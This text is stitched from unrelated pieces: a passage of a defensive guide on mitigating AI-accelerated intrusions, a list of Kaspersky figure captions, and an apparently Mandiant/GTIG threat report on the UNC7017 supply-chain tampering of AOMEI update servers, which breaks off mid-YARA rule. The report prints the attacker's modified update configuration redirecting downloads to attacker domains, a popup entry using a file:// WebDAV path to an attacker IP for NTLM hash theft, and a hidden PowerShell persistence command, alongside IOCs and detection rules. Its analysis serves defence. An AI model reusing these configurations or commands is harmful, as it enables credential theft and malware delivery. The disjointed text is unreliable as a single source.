Automation can test those paths in rapid succession. Failures can also become useful feedback. An application error, stack trace, database response, compiler output, or API error may give the tooling enough information to modify its next request within seconds. Detailed diagnostic information exposed externally therefore provides more than troubleshooting value; it can accelerate experimentation during an attack.

Mitigations

• Continuously Reduce the External Attack Surface: Scan internet-facing applications and infrastructure for vulnerabilities, exposed administrative services, default configurations, and unnecessary services. Vulnerability programs should include custom applications, frameworks, libraries, and dependencies in addition to operating systems.

• Assume the Workload Can Be Compromised: Design applications so compromise of the front end provides access only to the systems required for that application’s function. Reduce application permissions and limit access to required databases, APIs, queues, storage accounts, and backend services.

• Enforce Application-Tier Segmentation: Segment internet-facing applications from identity infrastructure, management systems, and unrelated internal services. Restrict DMZ workloads from initiating unnecessary Kerberos, NTLM, LDAP, SMB, RDP, SSH, database, and administrative connections into internal networks.

• Harden Database Runtime Privileges: Application database accounts should not have broad administrative privileges. Restrict capabilities that allow a database engine or application identity to execute operating-system commands, write arbitrary files, modify server-wide settings, or cross the database-to-OS boundary unless the application requires them.

• Reduce Credential Exposure in Workloads: Review application configurations, environment variables, infrastructure-as-code, deployment scripts, CI/CD pipelines, and databases for embedded secrets. Compromise of one workload should not expose credentials for unrelated systems.

• Limit Error Feedback to External Users: Avoid returning detailed stack traces, compiler messages, SQL errors, internal paths, framework details, or other diagnostic information to unauthenticated users. Keep detailed troubleshooting information in internal logs.

• Harden Network and Security Appliances: Remove unnecessary management services from routers, firewalls, VPN appliances, and other infrastructure. Review configurations for unexpected accounts, scheduled jobs, startup scripts, configuration changes, and persistence mechanisms. Validate firmware integrity and vendor signatures where supported.

• Harden Active Directory Certificate Services: Review AD CS for certificate templates and enrollment paths that could allow an attacker to obtain authentication certificates or escalate privileges.

• Remove ENROLLEE_SUPPLIES_SUBJECT where it is not required, particularly on templates supporting client authentication.

• Restrict enrollment permissions to the identities that require them.

• Require certificate manager or CA approval for higher-risk enrollment scenarios where appropriate.

• Enable Extended Protection for Authentication on applicable CA web interfaces where supported.

• Monitor unusual certificate enrollment involving privileged users or unexpected requesting systems.

• Reduce Credential Replay and Relay Opportunities: Enable Windows Credential Guard where appropriate, use Protected Users for suitable privileged accounts, enforce SMB signing, and enforce LDAP signing and channel binding. Reduce or disable NTLM where operationally feasible and continue hardening against credential relay, Pass-the-Hash, Pass-the-Ticket, and related techniques.

• Restrict Unnecessary Authentication From Exposed Workloads: Internet-facing servers should only initiate Kerberos, NTLM, LDAP, SMB, WinRM, or RDP traffic to systems where those protocols are explicitly required.

Layer 4: Application Protections

Harden legitimate enterprise functionality that attackers can reuse after gaining access.

A large portion of attacker activity relies on capabilities already present in the environment. Applications, authentication protocols, administrative services, scripting environments, messaging systems, deployment platforms, and business workflows may provide everything needed to continue an intrusion without introducing new malware. Automation makes these capabilities easier to discover and use quickly.

Why It Is Important

Internal business applications, scripts, and APIs are often customized to each organization without public documentation, and require a level of insider knowledge to understand exploitation opportunities. Automated LLM-powered offensive tooling has enabled attackers to enumerate and rapidly understand these internal applications and use them to their advantage. 

Internal communication functionality is one example. A compromised application account may legitimately have access to a notification, messaging, or email API. Sending messages is expected behavior for that application. That same capability can be abused to send hundreds or thousands of phishing messages. Without recipient limits, rate limits, or behavioral monitoring, a standard business function can become a high-speed distribution mechanism.

Mitigations

• Put Guardrails Around High-Impact Business APIs: Applications capable of accessing sensitive data, retrieving credentials, sending email, notifications, creating users, modifying access, or performing other high-impact actions should have rate limits, recipient limits, transaction thresholds, and abuse controls appropriate to their function. Alert when an application operates materially outside its normal volume.

• Inventory Legitimate Administrative Capabilities Before an Incident: Security teams should know which platforms provide remote command execution, deployment, scripting, certificate issuance, identity synchronization, bulk messaging, and other high-impact functions. Those capabilities should have appropriate restrictions and monitoring in place before they are used during an intrusion.

• Conduct Automated Application Testing and Threat Modelling: All internal applications should have SAST and DAST scans conducted and findings resolved prior to deployment. Organizations can also leverage LLM-enabled tooling to automate the discovery, triage, reproduction, and patching of software vulnerabilities and potential attack paths. Organizations can also apply agentic source-code review and continuous AI-assisted vulnerability testing—whether a bespoke LLM harness or a managed capability such as Google AI Threat Defense—to find, triage, and reproduce these attack paths before an attacker does.

Layer 5: Detect Behavioral and Volumetric Change

Detect when identities, applications, workloads, and infrastructure begin operating outside their established patterns.

Many actions performed during an automated attack are legitimate operations when viewed individually. Detection therefore depends heavily on context: identity, source network, volume, timing, sequence, target resource, and historical activity.

Why It Is Important

A service principal accessing cloud storage is not necessarily suspicious. A service principal that normally accesses ten objects from one internal network and suddenly downloads thousands of objects from an unfamiliar hosting provider is a different situation.

Outbound activity provides similar context. Automated tooling on a compromised server may contact external webhook services to confirm execution or transfer results. It may also communicate with LLM platforms, temporary file-sharing infrastructure, tunneling services, or attacker-controlled systems.

A single HTTPS connection may be routine. A production server that historically communicates with a small set of known destinations and suddenly begins reaching several new external services deserves closer attention.

Mitigations and Detection Priorities

• Baseline Behavior at the Identity and Workload Level: Establish expected authentication sources, APIs, resources, activity volumes, and communication patterns for sensitive service principals, applications, workloads, and administrative identities.

• Detect Changes in Authentication Origin: Track the networks, ASNs, cloud regions, hosting providers, and other infrastructure used by privileged users and workload identities. Investigate successful authentication from infrastructure that falls outside the identity’s normal pattern.

• Monitor Control-Plane Velocity: Alert on unusual bursts of management API calls, permission testing, configuration changes, resource enumeration, credential retrieval, and other administrative activity. The timing and sequence of legitimate API calls can provide important context.

• Baseline Data-Plane Activity: Establish normal read, write, and object-access patterns for sensitive storage and data platforms. Detect sudden enumeration, unusual write-read-delete sequences, large increases in object access, or material changes in bytes transferred.

• Build Detections Around Sequences: Correlate related events across identity, control-plane, data-plane, endpoint, and network telemetry. A new authentication source followed by permission probing, storage enumeration, bulk downloads, and a connection to a previously unseen external service should be analyzed as one sequence.

• Monitor East-West Behavior From Exposed Workloads: Detect unexpected LDAP, Kerberos, NTLM, SMB, database, remote administration, and port-scanning activity originating from DMZ or internet-facing systems.

• Control and Monitor Server Egress: Restrict unnecessary outbound internet connectivity from production servers and route sensitive workloads through controlled egress paths where practical. Monitor previously unseen destinations, particularly webhook services, OAST infrastructure, tunneling platforms, public file-transfer services, and external AI platforms that are not required by the workload.

• Preserve the Telemetry Needed to See the Behavior: Collect and centralize interactive and non-interactive identity logs, service-principal authentication, cloud control-plane activity, sensitive storage data-plane logs, application administration logs, network flow, DNS, proxy telemetry, and endpoint activity. Establishing normal behavior depends on having enough historical data to compare against current activity.

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the Mandiant Frontline Threats and Mandiant Hunting Rules rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Suspicious Webhook.Site Interaction

• Suspicious Curl Invocation

• Cmd Launching Curl

• AWS Cloud Accounts Getcalleridentity

KL categories available when configuring Application Control

KES notification about an attempt to launch an AI agent

AI Tools KL category

KES notification about an attempt to access a prohibited web resource

Website categories

AI agent profiles on Kaspersky TIP

Claude profile on Kaspersky TIP

Detection section in the Claude profile

Rules in the Hunt Hub repository

Detection rule card in Hunt Hub

Detection of a malicious agent skill in Kaspersky Scan Engine

Detection of an LLM with malicious code in Kaspersky Scan Engine

Written by: Tyler McLellan

Introduction

Google Threat Intelligence Group (GTIG) and Mandiant investigated a software supply chain compromise campaign targeting the update infrastructure belonging to AOMEI Technology between April 2026 and July 2026. The threat actor conducted repeated, short-burst configuration tampering against AOMEI origin servers. Each tampering window remained active for only five to ten minutes before reverting to authentic versions. This is the first time that we have encountered a software supply chain compromise that was implemented with these very short windows, effectively evading traditional point-in-time triage and automated file scanning.  

The campaign delivered a multi-stage payload chain involving the newly tracked CROSSROAD downloader and SHINYROAD backdoor. The threat actor iteratively modified its tradecraft, pivoting its staging infrastructure from cloud providers to dedicated domains and legitimate cloud storage. This evolving staging setup makes it particularly challenging for defenders to establish effective infrastructure-based blocking or network controls. We attribute this activity to a threat cluster we are tracking as UNC7017. 

Based on available telemetry, impacted organizations spanned diverse sectors, including IT services, telecommunications, higher education and related entities in Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. That said, because the campaign attempted to deliver malware to any system polling the update distribution servers during the threat actor’s tampering windows, victimology was opportunistic and likely extends more broadly than the organizations we directly identified. 

This campaign was initially identified through collaborative research with the ManageEngine Threat Analysis Lab (METAL), part of Zoho Corporation, whose endpoint detection and response (EDR) telemetry first detected the activity in late May across multiple customer environments. We thank the METAL team for their proactive telemetry sharing and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem. Following this joint effort, GTIG notified potentially affected organizations and shared technical findings with AOMEI Technology. AOMEI reported that they took corrective action to secure their distribution servers. METAL’s analysis of this campaign is available in their blog.

How AOMEI Update and Notification Systems Work

AOMEI Backupper provides data backup, disk cloning, and disaster recovery, while AnyViewer facilitates remote desktop access and support. Users of these products rely on the ABMarket update flow and its associated background services (Backupper.exe and ABNotify.exe) that periodically poll remote endpoints over HTTPS for update notifications and promotional pop ups:

1. Update Configuration (down_html.ini): The software periodically sends an HTTPS request to https://www2.aomeisoftware.com/download/abpopup/down_html.ini. This file contains the version number, the MD5 hash of the expected update package, and the URL where the client should download upgrade-now.zip.

2. Notification Configuration (Notifycfg.ini): The software contacts https://account.aomeitech.com/Notifycfg.ini. This file instructs the local notification process (ABNotify.exe) what messages to display and specifies commands or programs located in the software’s local directory to execute.

Under normal conditions, these files direct the client to download official files hosted on AOMEI’s own domain (www2.aomeisoftware.com).

Campaign Overview

Rather than maintaining a persistent, static modification on the vendor’s distribution servers, GTIG and METAL’s telemetry indicates UNC7017 conducted repeated, short-burst configuration tampering. We confirmed several tampering windows in 2026, alongside related malware samples observed in the wild starting in late April. However, given the short duration of these windows, it is probable that additional tampering occurred throughout the campaign that remained outside our visibility. Systems checking for updates during an active window received malicious instructions, while systems checking before or after received clean, authentic files. 

During the brief tampering windows, the threat actor modified the update settings file on the update server to redirect the software to download a malicious ZIP package from attacker-controlled servers instead of legitimate updates. The threat actor also altered the notification settings file on the update server to abuse the software’s automatic notification service, forcing the system to immediately execute the downloaded malware locally. If a user’s application checked for updates while the threat actor’s modifications were active, then the application would download the trojanized update and execute malware. 

In cases where altered configuration files were active, the threat actor directed clients to download a weaponized ZIP archive containing CROSSROAD, an initial downloader responsible for environment validation and staging secondary components. CROSSROAD subsequently established scheduled task persistence to deploy SHINYROAD, a modular backdoor framework delivered via trojanized administration utilities to facilitate covert command and control.

Short Burst Supply Chain Tampering

A defining characteristic of UNC7017's operational security is its reliance on ephemeral, time-compressed server modifications. Across all directly observed waves, the adversary avoided leaving malicious configurations resident on AOMEI's update servers:

• May 28: 10-minute exposure window (05:40 – 05:50 UTC)

• July 16: 6-minute exposure window (08:33 – 08:39 UTC)

• July 20: 5-minute exposure window (10:35 – 10:40 UTC)

At the conclusion of each window, UNC7017 reverted both down_html.ini and Notifycfg.ini to their legitimate contents. This hinders post-incident vendor audits, minimizes the window for network defenders to capture live malicious server responses, and restricts compromise to clients polling for updates during those exact minutes.

Weaponizing Native Update Logic: down_html.ini and Configuration Bloat

To compromise endpoints without relying on software vulnerabilities, UNC7017 abused the AOMEI client's legitimate update and popup rendering workflow. By default, the client downloads update archives into its Tmphtml directory, unpacks them to the local html/ directory, and processes instructions from two remote configuration files: down_html.ini and Notifycfg.ini.

To ensure the AOMEI client accepted and extracted the weaponized upgrade-now.zip archive, UNC7017 systematically incremented the minor build version (“thrid”) and updated the expected MD5 checksum in down_html.ini during each tampering window:

[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666

Figure 2: July 16 tampering of down_html.ini redirecting downloads to promotion.storage-data.com with incremented version (thrid=6) and synchronized MD5 hash.

During the 6-minute window on July 16, UNC7017 simultaneously modified Notifycfg.ini (SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934), injecting over 35,000 lines of repetitive configuration sections named [dummy_XXXXXX]. This extreme configuration bloat was structured to override standard client version checks forcing the client to trigger an update regardless of its installed version and immediately execute the unpacked CROSSROAD dropper (upgrade-now.exe) from the local html/ directory.

Infrastructure Shifts

Between April an July 2026, UNC7017 shifted its staging and delivery infrastructure between public cloud buckets and actor controlled lookalike domains, likely to test payload delivery and masquerade as legitimate vendor traffic. 

Infrastructure Shifts

1. Early Cloud Staging (April–May 2026): Early CROSSROAD payloads (upgrade-now.exe observed May 20) relied on Alibaba Cloud Object Storage (serv.oss-cn-hongkong.aliyuncs.com).

2. Dedicated Domain Infrastructure (July 1–7, 2026): The threat actor transitioned to dedicated, vendor-themed domains (storage-data.com, promotion.storage-data.com, aomei.storage-data.com).

3. Hybrid Cloud Delivery Split (July 20, 2026): During the 5-minute window on July 20, the threat actor modified down_html.ini to direct initial client downloads to a public Google Cloud Storage bucket (storage.googleapis.com/aomeiupdate/upgrade-now.zip) rather than storage-data.com. This tactical shift allowed the initial download to bypass enterprise proxy filters that block Newly Registered Domains (NRDs), while the executed CROSSROAD loader continued to leverage storage-data.com for secondary payload retrieval and C2 communications.

[Date]
Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
thrid=7
[MD5]
Val=BF73C4391B58CA95220CE3AE03F66DCF

Figure 3: July 20 modification of down_html.ini utilizing Google Cloud Storage (thrid=7) to evade Newly Registered Domain (NRD) perimeter blocks.

WebDAV NTLM Credential Coercion

On July 20, UNC7017 introduced a secondary exploitation vector inside Notifycfg.ini. Prior to tampering, Notifycfg.ini displayed a legitimate 400x380 promotional banner advertising "World Cup Deals." The threat actor replaced this banner with an invisible 1x1 pixel window (Width=1, Height=1) assigned maximum execution priority (Priority=9999) that instructed the client to render a remote HTML file over a universal naming convention (UNC) WebDAV path:

[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999

Figure 4: Malicious Notifycfg.ini configuration from July 20 implementing an invisible 1x1 popup window to coerce WebDAV/NTLM authentication to 8.210.84.56.

By forcing the AOMEI client to request a remote file:// resource via WebDAV (DavWWWRoot), UNC7017 created a silent credential harvesting mechanism capable of coercing endpoints into transmitting NetNTLMv2 authentication hashes to the actor-controlled IP address (8.210.84.56) without user visibility.

Malware Delivery & Post-Exploitation Tooling

Across the campaign waves, UNC7017 deployed a consistent chain of custom loaders and commercial/open-source post-exploitation frameworks:

• Defense Evasion via Timestomping: Analysis of an early CROSSROAD dropper (upgrade-now.exe) submitted to VirusTotal on May 20 revealed that the threat actor manipulated PE compilation timestamps to display fabricated 2024 build dates in an effort to complicate forensic timeline analysis.

• Modified Radmin Server Backdoor: During the May 28 wave, the unsigned loader dropped into the html/ directory executed rsetup64.exe /intsetup, silently installing a modified version of the commercial remote administration tool Radmin Server to establish persistent remote access.

• Adaptix C2 Integration: Since at least early July 2026, the threat actor was observed deploying the Adaptix C2 framework across its storage-data.com infrastructure.

The Primary Downloader: CROSSROAD 

The primary Stage-2 downloader (upgrade-now.exe, SHA256: 9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450) is a 64-bit Windows executable written in C, tracked by GTIG as the CROSSROAD malware family. Delivered inside upgrade-now.zip, CROSSROAD is responsible for environment validation, active endpoint cleanup, staging the secondary payload bundle, and establishing scheduled task persistence for the Stage-3 backdoor suite.

• Path Verification: As part of its configuration routine, CROSSROAD checks whether its file path contains the substring AOMEI. If the substring is absent, it initiates a self-deletion routine; however, it does not abort, continuing both its background configuration cleanup and its downloader routines regardless.

• Execution Guardrails: Before proceeding with secondary downloads, CROSSROAD enforces two primary checks:

• Geolocation Check: Queries external domain name system (DNS) (myip.opendns.com, o-o.myaddr.l.google.com) and HTTP reflection services (checkip.amazonaws.com, api.ipify.org, ifconfig.me/ip, icanhazip.com) using custom User-Agents (Anyviewer-loader/1.0, Anyviewer-ipcheck/1.0). In specific execution branches, if the returned country code is "CN" (China), the loader aborts its primary payload execution path.

• Lock Mutex: Acquires the named mutex Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883} to prevent multiple concurrent instances on the same host.

• Host Artifact Reversion & Anti-Forensics: To complicate post-incident triage and forensic reconstruction, the loader systematically reverts local configuration states during its execution cycle. The malware parses down_html.ini (located at <install_dir>\..\..\), restoring the update thread parameter (thrid) to its default value of 5 and pointing the update download URL back to legitimate AOMEI distribution infrastructure (https://www2.aomeisoftware.com/download/abpopup/).

• Stage-3 Payload Staging & Extraction: If environment checks pass, CROSSROAD downloads https://promotion.storage-data.com/config/component.zip (also observed as en.zip), to %TEMP%\svc<random_hex>.tmp, and unpacks its contents into the user’s local application data directory using an embedded miniz library.

• Persistence via Scheduled Task: To ensure continuous execution of the staged payload bundle, upgrade-now.exe registers a persistent scheduled task named RadminComponentRuntime (configured with the description”Radmin Component runtime checkable.”). The task is set to execute %LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk every three hours.

• Self-Deletion (--nitrod): After extracting the payload bundle and creating the scheduled task, CROSSROAD purges itself from disk. To bypass Windows file-locking constraints, the executable drops a copy of itself to the temporary directory and executes it with the --nitrod parameter, passing its parent PID via NITRODP and original executable path via NITRODT. The child process waits for the parent to terminate, renames the original binary's primary :$DATA stream to an alternate data stream named :wtfbbq via SetFileInformationByHandle, and flags FileDispositionInfo with DeleteFile = TRUE to unlink the binary on handle close.

• Version Information: The executable contained standard PE version metadata with a notable typo string: "ProductName: AOMEI Update Compent".

Stage-3 Payload: SHINYROAD and Radmin Suite

The payload archive unpacked into %LOCALAPPDATA%\Radmin\ by CROSSROAD contains a Famatech Radmin 3.x administration bundle used to deliver the SHINYROAD modular backdoor framework. The malware contains no native persistence mechanism of its own and relies entirely on the external scheduled task registered by CROSSROAD for execution.

• Execution via DLL Search-Order Hijacking (BlkScrDl.dll): Execution begins when the persistent RadminComponentRuntime scheduled task launches the legitimate, signed Radmin binary %LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk (or FamItrf2.exe). During startup, the Radmin executable is hijacked into loading the attacker's unsigned DLL, BlkScrDl.dll, via search-order hijacking. The adversary named this DLL to masquerade as Radmin's legitimate "blank screen" driver library.

• Shared Memory & In-Process COM Server Staging: Upon execution, BlkScrDl.dll locates config.zip in its execution directory, maps its raw contents into a shared memory section named Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf, and dynamically registers csvc\RuntimeComponent.dll as an in-process COM Server under CLSID {21191641-0D7F-4CD9-9572-01AAE6E7851B} and AppID {9AD3E98A-4C7E-4F37-982D-D73D41E4F91B}.

• COM-Triggered Stage-2 Initialization & Embedded PocketPy VM: When the Radmin process instantiates the registered CLSID, the Windows COM subsystem loads the DLL. The DLL reads config.zip directly from shared memory, extracts the encrypted payload metadata.dat, and decrypts it using ChaCha20 with an HMAC-SHA256 derived key and IV. The decrypted payload consists of compiled Python bytecode, which RuntimeComponent.dll executes within an embedded PocketPy interpreter, establishing initial C2 connectivity to 8.218.65.184:443.

Evolution of the SHINYROAD Architecture

Analysis of earlier campaign variants revealed that SHINYROAD relies on custom C-level extensions (_pyio_compat, _pyio_struct, and pkpy) to avoid loading standard Python libraries on disk:

• Custom Binary C2 Protocol: Earlier variants communicated over raw TCP (8.218.65.184:41397). The agent generates a unique ID by fingerprinting the hostname and username, authenticates via a hard-coded handshake key, and dynamically transitions all subsequent communication to use symmetric encryption derived from this unique ID.

• In-Memory Capabilities: The engine supports interactive remote shell access (os.system), traffic chaffing (generating randomized junk packets to disrupt network signatures), and dynamic in-memory extension via the pkpy WorkPool thread manager without writing script modules to disk.

Post-Exploitation: Nitro PDF Theme & Adaptix C2

In mid-July 2026, following the successful deployment of SHINYROAD, telemetry identified later-stage activity where UNC7017 pushed down ADAPTAGENT, the client portion of the Adaptix C2 post-exploitation framework. To blend in or appear as user-downloaded activity, these payloads masqueraded as Nitro PDF promotional and scanning tools (NitroPromotion.exe):

• Persistence: The malware installed a scheduled task named \NitroRuntime that executed:

powershell -Command "Start-Process 'C:\Users\<USER>\AppData\Local\Temp\NitroPromotion.exe' -WindowStyle Hidden"

Figure 6: NitroRuntime scheduled task persistence

• Adaptix C2 Beaconing: The executable sideloaded Eztwain4.dll (ADAPTAGENT) from %LOCALAPPDATA%\Nitro Pro\, which established periodic 2-minute beacons to 8.210.84.56:6800.

Outlook and Implications

This campaign highlights a broader evolution in software supply chain attack methodologies. Supply chain intrusions have historically focused on inserting backdoors into software source code or tampering with developer build pipelines (e.g., SolarWinds, 3CX). While highly impactful, compromised source trees leave persistent binary signatures in official release files that can be discovered during post-release binary analysis.

UNC7017's use of ephemeral configuration tampering represents a lower-overhead, higher-stealth alternative:

1. Anti-Analysis by Design: By restricting configuration changes to five to ten minute windows, the vast majority of legitimate users and automated repository crawlers only encounter authentic, vendor-signed files.

2. Selective Exploitation: Threat actors can selectively compromise target organizations that maintain frequent polling intervals while minimizing their exposure window on vendor infrastructure.

3. Dual-Pronged Approach: Combining software update redirection with invisible WebDAV NTLM coercion could allow adversaries to harvest credentials from passive users even if binary payload execution is blocked.

4. Co-opting Commercial Software: Deploying unmodified versions of legitimate administration tools (such as Radmin 3.x) to masquerade sideloaded covert channels illustrates how adversaries blend commercial remote management capabilities with hidden backdoor modules.

Remediation and Hardening

Defenders should focus on behavioral profiling of updater processes, specifically monitoring for unsigned child processes spawned by background update runners and unauthorized network redirection originating from trusted desktop software. For broader recommendations on securing software delivery pipelines, please refer to our previously published Mitigation Guidance for Supply Chain Compromise.

Vendor Notification & Architecture Hardening

On July 17, 2026, Mandiant notified AOMEI Technology regarding the observed configuration tampering on their update infrastructure and provided relevant indicators. AOMEI subsequently responded on July 29, 2026, stating that corrective actions had been taken.

Why Server-Side Remediation Does Not Disinfect Endpoints

Crucially, server-side remediation does not clean endpoints that downloaded malicious updates during earlier tampering windows. Because the tampering occurred in brief, short bursts, systems that received these files may remain compromised without the organization's knowledge unless proactive endpoint hunting and remediation are performed.

• Persistent Resident Payloads: Endpoints that polled for updates during an active tampering window downloaded and staged persistent payloads (via scheduled tasks) that remain fully operational even after the vendor restores authentic .ini files on the origin servers.

• Obscured Root Cause: While the subsequent backdoor activity and scheduled tasks generate detectable endpoint telemetry, the ephemeral delivery vector obscures the initial intrusion mechanism. Because server tampering lasted approximately 5 minutes—and the loader actively reverted local configuration files—investigators reviewing vendor update URLs hours later will observe only benign, authentic infrastructure, complicating root cause analysis and patient-zero identification.

• Hunting Imperative: Organizations running AOMEI software cannot assume they are protected solely because the vendor took corrective server-side action. Enterprise security teams must perform retrospective endpoint and network hunts across the entire April–July time frame using the indicators and YARA rules provided in this post.

Guidance for Software Vendors & Developers

Software supply chain security extends beyond developer workstations and build pipelines. When desktop software relies on remote configuration files to manage update and notification behaviors, adversaries can target the distribution layer rather than the source code. To defend against configuration tampering and distribution-channel hijacking, software vendors should implement the following security controls:

• End-to-End Cryptographic Signature Verification: Client applications must cryptographically verify Authenticode digital signatures and validate vendor certificates on all downloaded executables and archives before extraction or execution. Update clients should never rely solely on transport-layer HTTPS or remote checksums (such as cleartext MD5 values in an unauthenticated configuration file).

• Cryptographically Signed Configuration Files: Remote configuration files (.ini, .json, or .xml) should be digitally signed using asymmetric public key cryptography. If an origin server or content delivery network (CDN) is modified without authorization, client software will detect the invalid signature and reject the configuration.

• Domain Allowlisting and Destination Pinning: Software update clients should enforce strict destination pinning, restricting update downloads exclusively to official, pre-approved vendor domains and CDNs. Update engines should reject redirection to arbitrary third-party domains or generic public cloud storage buckets.

• Restricting Uniform Resource Identifier (URI) Schemes in In-App Handlers: Embedded web views, promotional popups, and notification handlers should strictly enforce secure web protocols (https://) and explicitly disallow local file (file://) and UNC WebDAV schemes to prevent external NTLM credential coercion.

• Decoupling Core Updates from Marketing Channels: Separating essential software maintenance routines from dynamic promotional popups and notification banners reduces the attack surface and ensures that advertising channels cannot trigger local code execution.

• Origin Integrity Monitoring and Access Controls: Origin web servers and object storage buckets hosting update metadata should enforce strict access controls, multi-factor authentication, and automated real-time file integrity monitoring (FIM) with immediate alerting on configuration changes.

Guidance for Security Operations (SOC) & Incident Responders

Overcoming the "Point-in-Time" Triage Pitfall

The short-burst nature of this attack creates a unique challenge for incident response:

• The Triage Trap: When an EDR alert fires for a suspicious process spawned by an updater, SOC analysts frequently attempt to validate the alert by navigating to the vendor's download URL or checking URL reputation. Because the threat actor reverted the remote configuration files within five to ten minutes, the vendor's server returns authentic, clean files most of the time, leading analysts to mistakenly dismiss the detection as a false positive.

• Actionable IR Protocol: Defenders must not rely on live web checks. Incident responders must preserve and analyze the endpoint-cached configuration files in %PROGRAMFILES(X86)%\AOMEI\*\Tmphtml\ and review proxy/firewall telemetry corresponding to the precise second the alert was triggered.

Camouflaged Follow-on Activity

The deployment of Adaptix C2 under the guise of Nitro PDF can mislead analysts into treating alerts as isolated, user-initiated software downloads rather than staged lateral movement. Responders must trace updater parentage to identify root-cause supply chain tampering.

Endpoint and Network Hardening Actions

Endpoint File Checks

Inspect systems for the following directories and artifacts. Defenders must distinguish between malicious payloads and legitimate signed binaries abused for search-order hijacking:

Table 1: Endpoint file checks

Scheduled Tasks and Registry

• Scheduled Tasks: Check for unauthorized tasks named \NitroRuntime or \RadminComponentRuntime.

• Registry: Check \REGISTRY\MACHINE\SYSTEM\Software\Microsoft\TIP\AggregateResults\data for unusual binary blobs.

Network Defenses

• Block outbound network connections to promotion.storage-data.com, aomei.storage-data.com, storage-data.com, 8.210.84.56, 47.239.60.117, and 8.218.65.184.

• Block outbound SMB (TCP 445) and WebDAV traffic to external IP addresses to prevent NTLM credential coercion.

• Inspect proxy and web gateway logs for the User-Agent Anyviewer-loader/1.0 or requests to Alibaba Cloud OSS endpoint serv.oss-cn-hongkong.aliyuncs.com.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Malicious File Hashes (SHA-256)

Table 2: Malicious File Indicators

Legitimate File Hashes (SHA-256)

Table 3: Legitimate File Indicators

Configuration File Hashes (AOMEI .ini)

Table 4: Configuration Files

Network Indicators

Table 5: Network Indicators

Mutexes & Scheduled Tasks

• Mutex: Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}

• Shared memory mapping: Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf

• Scheduled Task: \RadminComponentRuntime

Google Security Operations (SecOps)

Google Security Operations customers have access to these broad category rules and more under the "Mandiant Frontline Threats", “Mandiant Hunting Rules”, and "Applied Threat Intelligence - Curated Prioritization" rule packs. The activity discussed in the blog post is detected in Google Security Operations under the rule names:

• Explorer Launching Cmd With Powershell Start Process Command

• Suspicious Process Invoking Dllhost Clsid Invocation

• ATI Active Breach Rule Match for File IoCs

• ATI High Priority Rule Match for Ip Address IoCs

• ATI Medium Priority Rule Match for Ip Address IoCs

• Copy System Binary

• System32 Binary Copied to Non-Standard Directory

Detections

YARA Rules

rule G_APT_Downloader_CROSSROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects obfuscated and masquerading UNC7017 CROSSROAD downloaders targeting AOMEI software update mechanisms"
		
	strings:
		// Masquerading & Metadata
		$meta_typo = "AOMEI Update Compent" wide
		$meta_co = "AOMEI International Network Limited" wide
		$meta_ver = "8.2.5.0" wide
		$meta_orig = "upgrade-now.exe" wide
		$meta_name = "upgrade-now" wide
		// Embedded Decompression & Downloader Artifacts
		$miniz1 = "archive is too large" ascii
		$miniz2 = "failed finding central directory" ascii
		$miniz3 = "unexpected decompressed size" ascii
		$whttp1 = "WinHttpCrackUrl" ascii
		$whttp2 = "WinHttpSendRequest" ascii
		// Obfuscation & Scheduled Task Artifacts
		$task1 = "RadminComponentRuntime" wide
		$task2 = "Radmin Component runtime checkable." wide
		$flag = "--runtimechk" wide
		$sob1 = "IsCurrentIpWhitelisted._sob_enc" ascii
		$sob2 = "DownloadFileFromUrlA._sob_enc" ascii
		$sob3 = "WinMain._sob_enc." ascii
		$obf_key = "_sob_key" ascii
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
			(($meta_typo or ($meta_co and ($meta_orig or $meta_name or $meta_ver))) and
			 any of ($miniz*) and
			 any of ($whttp*)) or
			(2 of ($sob*) and ($task1 or $flag)) or
			($obf_key and $task1 and $task2 and any of ($sob*))
		)
}

rule G_APT_Backdoor_SHINYROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects the SHINYROAD BlkScrDl.dll COM-staging loader and RuntimeComponent.dll PocketPy engine"
		
	strings:
		// Shared SHINYROAD artifacts (shared memory section and mutex)
		$shm = "Local\\963d3c60-d406-4ad6-aa1e-dc8e45061ccf" ascii wide
		$mtx = "Global\\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}" ascii wide
		// BlkScrDl.dll loader: config.zip staging and COM server registration
		$ld1 = "%sconfig.zip" ascii
		$ld2 = "%scsvc\\RuntimeComponent.dll" ascii
		$ld3 = "libBlkScrDl.dll" ascii
		$com1 = "Software\\Classes\\CLSID\\%s" ascii
		$com2 = "Software\\Classes\\AppID\\%s" ascii
		$com3 = "%s\\InprocServer32" ascii
		// RuntimeComponent.dll embedded PocketPy engine
		$rc1 = "libRuntimeComponent.dll" ascii
		$rc2 = "metadata.dat" ascii
		$rc3 = "_pyio_compat" ascii
		$rc4 = "_pyio_struct" ascii
		$rc5 = "%sdemo_srv.log" ascii
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
			($shm and $mtx) or
